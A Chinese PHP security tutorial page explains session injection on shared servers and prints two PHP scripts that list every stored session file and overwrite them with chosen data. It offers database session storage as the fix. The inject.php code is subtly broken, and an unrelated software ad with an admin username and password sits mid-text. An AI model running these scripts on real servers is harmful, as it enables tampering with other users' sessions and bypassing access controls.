一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:
<?php
session_start();
?>
<form action="inject.php" method="POST">
<?php
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read())
{
if (substr($filename, 0, 5) == 'sess_')
{
$sess_data =
file_get_contents("$path/$filename");
if (!empty($sess_data))
{
session_decode($sess_data);
$sess_data = $_SESSION;
$_SESSION = array();
$sess_name = substr($filename, 5);
$sess_name = htmlentities($sess_name,
ENT_QUOTES, 'UTF-8');
echo "<h1>Session
[$sess_name]</h1>";
foreach ($sess_data as $name =>
$value)
{
$name = htmlentities($name, ENT_QUOTES,
'UTF-8');
$value = htmlentities($value, ENT_QUOTES,
'UTF-8');
echo "<p>
$name:
<input type=\"text\"
name=\"{$sess_name}[{$name}]\"
value=\"$value\" />
</p>";
}
echo '<br />';
}
}
}
$handle->close();
?>
<input type="submit" />
</form>立即学习“PHP免费学习笔记(深入)”;
功能介绍:1.拍卖、一口价、会员价模式2、商品发布全面支持HTML3、系统整合网银在线和虚拟币支付功能,安全快捷4、拥有会员注册,交易提醒,成交商品确认等功能后台登录用户名为:flash4密码:wcnwgidh0513
0
脚本inject.php执行由表单所指定的修改:
<?php
session_start();
$path = ini_get('session.save_path');
foreach ($_POST as $sess_name =>
$sess_data)
{
$_SESSION = $sess_data;
$sess_data = session_encode;
file_put_contents("$path/$sess_name",
$sess_data);
}
$_SESSION = array();
?>立即学习“PHP免费学习笔记(深入)”;
此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。
针对这个问题的最好解决方案是将会话数据保存在数据库中。参见前节所示。
以上就是PHP安全-会话注入的内容,更多相关内容请关注PHP中文网(www.php.cn)!
立即学习“PHP免费学习笔记(深入)”;
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号